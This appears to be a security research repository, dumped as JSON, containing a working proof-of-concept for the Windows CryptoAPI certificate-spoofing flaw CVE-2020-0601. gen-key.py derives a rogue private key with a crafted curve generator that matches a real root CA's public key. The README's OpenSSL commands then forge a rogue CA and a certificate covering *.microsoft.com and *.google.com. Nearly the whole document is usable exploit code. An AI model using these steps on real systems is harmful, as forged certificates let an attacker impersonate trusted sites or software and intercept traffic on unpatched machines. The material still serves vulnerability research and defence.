[
  {
    "path": "README.md",
    "content": "# CryptoAPI\n\nCVE-2020-0601: Windows CryptoAPI Spoofing Vulnerability exploitation. More information in our [blog post](https://research.kudelskisecurity.com/2020/01/15/cve-2020-0601-the-chainoffools-attack-explained-with-poc).\n\n# Install requirements\n\n```bash\npip install -U -r requirements.txt\n```\n\nThe certificate generation works with OpenSSL verion up to [1.0.2u](https://github.com/openssl/openssl/releases/tag/OpenSSL_1_0_2u).\n\n# CA certificate\n\nWe used the [USERTrust ECC Certification Authority](http://www.tbs-x509.com/USERTrustECCCertificationAuthority.crt) but it can be any root certificate working on P-384 curve.\n\nTo generate a private key which match the public key from the root certificate we used the script **gen-key.py** (works with Python 3.6 and above):\n```bash\n$ ./gen-key.py RootCert.pem \n```\n\nThe key can be displayed with:\n```bash\n$ openssl ec -in p384-key-rogue.pem -text\n```\n\nThen to generate the rogue CA:\n\n```bash\n$ openssl req -key p384-key-rogue.pem -new -out ca-rogue.pem -x509 -config ca.cnf -days 500\n```\n\nThen we generate the following private key and certificate:\n```bash\nopenssl ecparam -name prime256v1 -genkey -noout -out prime256v1-privkey.pem\n\nopenssl req -key prime256v1-privkey.pem -config openssl.cnf -new -out prime256v1.csr\n\nopenssl x509 -req -in prime256v1.csr -CA ca-rogue.pem -CAkey p384-key-rogue.pem -CAcreateserial -out client-cert.pem -days 500 -extensions v3_req -extfile openssl.cnf \n```\n\nFinally to have the complete chain in a single file we concatenate the CA and the server certificates:\n```bash\ncat client-cert.pem ca-rogue.pem > cert.pem\n```"
  },
  {
    "path": "ca.cnf",
    "content": "[ req ]\nprompt = no\ndistinguished_name = req_distinguished_name\n[ req_distinguished_name ]\nC = CH\nST = Vaud\nL = Lausanne\nO = Kudelski Security PoC\nOU = Research Team\nCN = github.com"
  },
  {
    "path": "gen-key.py",
    "content": "#!/usr/bin/env python\nimport gmpy2\nimport sys\n\nfrom fastecdsa.curve import P384\nfrom fastecdsa.point import Point\nfrom Crypto.Util.asn1 import DerSequence, DerOctetString, DerBitString, DerObjectId\nfrom Crypto.IO import PEM\nfrom Crypto.PublicKey import ECC\nfrom binascii import hexlify\n\ndef generate_privkey(d, generator):\n    \"\"\"\n        Generate a private key with explicit parameters.\n    \"\"\"\n    modulus_bytes = 48\n    a = P384.a % P384.p\n    public_key = d * generator\n    generator = (b'\\x04' +\n        generator.x.to_bytes(modulus_bytes, \"big\") +\n        generator.y.to_bytes(modulus_bytes, \"big\"))\n    public_key = (b'\\x04' + \n                    public_key.x.to_bytes(modulus_bytes, \"big\") +\n                    public_key.y.to_bytes(modulus_bytes, \"big\"))\n\n    field_parameters =  DerSequence([DerObjectId(\"1.2.840.10045.1.1\"), P384.p])\n    parameters = [DerSequence([1, field_parameters,\n                    DerSequence([\n                    DerOctetString(a.to_bytes(modulus_bytes, \"big\")),\n                    DerOctetString(P384.b.to_bytes(modulus_bytes, \"big\"))]),\n                    DerOctetString(generator),\n                    P384.q,\n                1\n            ])]\n    seq = [1,\n            DerOctetString(d.to_bytes(modulus_bytes, \"big\")),\n            DerSequence(parameters, implicit=0),\n            DerBitString(public_key, explicit=1)]\n    \n    return seq\n\nif __name__ == \"__main__\":\n\n    if len(sys.argv) != 2:\n        print(\"Usage \" + sys.argv[0] + \" root-certificate.pem\")\n        sys.exit()\n\n    # Public key extraction\n    cert = open(sys.argv[1], \"r\")\n    pubkey = ECC.import_key(cert.read())\n    cert.close()\n    nb_bytes = pubkey.pointQ.size_in_bytes()\n\n    if pubkey.curve != \"NIST P-384\":\n        print(\"Public key must be on P-384 curve\")\n        sys.exit()\n\n    Q = Point(int(pubkey.pointQ.x), int(pubkey.pointQ.y), curve=P384)\n\n    # Generate rogue generator\n    # we take the private key as being 2\n    privkey = int(gmpy2.invert(2, P384.q))\n    # we multiply our public key Q with the inverse of our chosen private key value\n    rogueG = 2 * Q\n    der = DerSequence(generate_privkey(privkey, rogueG))\n    # Generate new file\n    f = open('p384-key-rogue.pem','w')\n    keyfile = PEM.encode(der.encode(), 'EC PRIVATE KEY')\n    f.write(keyfile)\n    f.close()"
  },
  {
    "path": "openssl.cnf",
    "content": "[ req ]\nprompt = no\ndistinguished_name = req_distinguished_name\nx509_extensions = v3_req\n[ req_distinguished_name ]\nC = CH\nST = Vaud\nL = Lausanne\nO = Kudelski Security\nCN = NorthSec 2023\n[v3_req]\nsubjectAltName = @alt_names\n[alt_names]\nDNS.1   = *.kudelskisecurity.com\nDNS.2   = *.microsoft.com\nDNS.3   = *.google.com\nDNS.4   = *.ktp.dev"
  },
  {
    "path": "requirements.txt",
    "content": "gmpy2\nfastecdsa"
  }
]